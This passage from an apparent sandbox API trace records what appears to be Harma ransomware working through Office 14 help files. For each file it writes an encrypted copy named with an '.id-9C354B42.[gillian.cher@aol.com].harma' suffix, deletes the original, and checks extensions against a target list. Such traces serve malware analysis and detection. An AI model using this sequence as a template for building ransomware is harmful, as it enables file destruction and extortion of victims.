Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.238] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.238] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.239] GetLastError () returned 0x0 [0155.239] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0155.240] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0155.241] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.241] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x104, lpOverlapped=0x0) returned 1 [0155.241] SetEndOfFile (hFile=0x368) returned 1 [0155.241] CloseHandle (hObject=0x368) returned 1 [0155.241] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.241] SetEndOfFile (hFile=0x388) returned 1 [0155.293] CloseHandle (hObject=0x388) returned 1 [0155.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 1 [0155.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.294] lstrlenW (lpString=".doc") returned 4 [0155.294] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.294] lstrlenW (lpString=".docx") returned 5 [0155.295] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.295] lstrlenW (lpString=".pdf") returned 4 [0155.295] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString=".xls") returned 4 [0155.295] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString=".xlsx") returned 5 [0155.295] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.295] lstrlenW (lpString=".ppt") returned 4 [0155.295] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.295] lstrlenW (lpString=".zip") returned 4 [0155.295] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString=".rar") returned 4 [0155.295] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString=".bz2") returned 4 [0155.295] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.295] lstrlenW (lpString=".7z") returned 3 [0155.295] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.295] lstrlenW (lpString=".dbf") returned 4 [0155.295] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.295] lstrlenW (lpString=".1cd") returned 4 [0155.295] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.295] lstrlenW (lpString=".jpg") returned 4 [0155.295] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.296] lstrlenW (lpString=".doc") returned 4 [0155.296] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.296] lstrlenW (lpString=".docx") returned 5 [0155.296] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.296] lstrlenW (lpString=".pdf") returned 4 [0155.296] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.296] lstrlenW (lpString=".xls") returned 4 [0155.296] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.296] lstrlenW (lpString=".xlsx") returned 5 [0155.296] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.296] lstrlenW (lpString=".ppt") returned 4 [0155.296] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.296] lstrlenW (lpString=".zip") returned 4 [0155.296] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.296] lstrlenW (lpString=".rar") returned 4 [0155.296] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.296] lstrlenW (lpString=".bz2") returned 4 [0155.296] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.296] lstrlenW (lpString=".7z") returned 3 [0155.296] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.296] lstrlenW (lpString=".dbf") returned 4 [0155.296] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.296] lstrlenW (lpString=".1cd") returned 4 [0155.296] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0155.296] lstrlenW (lpString=".jpg") returned 4 [0155.296] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.297] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0155.297] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0155.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.299] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=208) returned 1 [0155.299] CloseHandle (hObject=0x388) returned 1 [0155.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 0x20 [0155.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.300] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.300] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.301] GetLastError () returned 0x0 [0155.301] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd0, lpOverlapped=0x0) returned 1 [0155.302] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0155.302] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.302] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0155.303] SetEndOfFile (hFile=0x364) returned 1 [0155.303] CloseHandle (hObject=0x364) returned 1 [0155.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.303] SetEndOfFile (hFile=0x388) returned 1 [0155.305] CloseHandle (hObject=0x388) returned 1 [0155.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 1 [0155.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.306] lstrlenW (lpString=".doc") returned 4 [0155.306] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0155.306] lstrlenW (lpString=".docx") returned 5 [0155.306] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0155.306] lstrlenW (lpString=".pdf") returned 4 [0155.306] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0155.306] lstrlenW (lpString=".xls") returned 4 [0155.306] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0155.306] lstrlenW (lpString=".xlsx") returned 5 [0155.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0155.307] lstrlenW (lpString=".ppt") returned 4 [0155.307] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString=".zip") returned 4 [0155.307] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0155.307] lstrlenW (lpString=".rar") returned 4 [0155.307] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0155.307] lstrlenW (lpString=".bz2") returned 4 [0155.307] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0155.307] lstrlenW (lpString=".7z") returned 3 [0155.307] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString=".dbf") returned 4 [0155.307] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString=".1cd") returned 4 [0155.307] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString=".jpg") returned 4 [0155.307] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.307] lstrlenW (lpString=".doc") returned 4 [0155.307] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0155.307] lstrlenW (lpString=".docx") returned 5 [0155.307] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0155.307] lstrlenW (lpString=".pdf") returned 4 [0155.308] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0155.308] lstrlenW (lpString=".xls") returned 4 [0155.308] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0155.308] lstrlenW (lpString=".xlsx") returned 5 [0155.308] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0155.308] lstrlenW (lpString=".ppt") returned 4 [0155.308] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.308] lstrlenW (lpString=".zip") returned 4 [0155.308] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0155.308] lstrlenW (lpString=".rar") returned 4 [0155.308] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0155.308] lstrlenW (lpString=".bz2") returned 4 [0155.308] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0155.308] lstrlenW (lpString=".7z") returned 3 [0155.308] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.308] lstrlenW (lpString=".dbf") returned 4 [0155.308] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.308] lstrlenW (lpString=".1cd") returned 4 [0155.308] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0155.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0155.308] lstrlenW (lpString=".jpg") returned 4 [0155.308] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0155.309] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0155.309] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0155.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.309] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0155.309] CloseHandle (hObject=0x388) returned 1 [0155.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 0x20 [0155.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.367] GetLastError () returned 0x0 [0155.367] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0155.368] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0155.369] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.369] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0155.369] SetEndOfFile (hFile=0x380) returned 1 [0155.369] CloseHandle (hObject=0x380) returned 1 [0155.369] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.369] SetEndOfFile (hFile=0x388) returned 1 [0155.372] CloseHandle (hObject=0x388) returned 1 [0155.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 1 [0155.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.373] lstrlenW (lpString=".doc") returned 4 [0155.373] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.373] lstrlenW (lpString=".docx") returned 5 [0155.373] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.373] lstrlenW (lpString=".pdf") returned 4 [0155.373] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.373] lstrlenW (lpString=".xls") returned 4 [0155.373] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.373] lstrlenW (lpString=".xlsx") returned 5 [0155.373] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.373] lstrlenW (lpString=".ppt") returned 4 [0155.373] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.373] lstrlenW (lpString=".zip") returned 4 [0155.373] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.373] lstrlenW (lpString=".rar") returned 4 [0155.373] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.373] lstrlenW (lpString=".bz2") returned 4 [0155.373] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.373] lstrlenW (lpString=".7z") returned 3 [0155.374] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString=".dbf") returned 4 [0155.374] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString=".1cd") returned 4 [0155.374] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString=".jpg") returned 4 [0155.374] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString=".doc") returned 4 [0155.374] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.374] lstrlenW (lpString=".docx") returned 5 [0155.374] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.374] lstrlenW (lpString=".pdf") returned 4 [0155.374] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString=".xls") returned 4 [0155.374] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString=".xlsx") returned 5 [0155.374] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.374] lstrlenW (lpString=".ppt") returned 4 [0155.374] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.374] lstrlenW (lpString=".zip") returned 4 [0155.374] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString=".rar") returned 4 [0155.374] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.374] lstrlenW (lpString=".bz2") returned 4 [0155.374] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.375] lstrlenW (lpString=".7z") returned 3 [0155.375] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.375] lstrlenW (lpString=".dbf") returned 4 [0155.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.375] lstrlenW (lpString=".1cd") returned 4 [0155.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK") returned 66 [0155.375] lstrlenW (lpString=".jpg") returned 4 [0155.375] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.375] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0155.375] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0155.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.376] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=818) returned 1 [0155.376] CloseHandle (hObject=0x388) returned 1 [0155.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 0x20 [0155.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.377] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.377] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 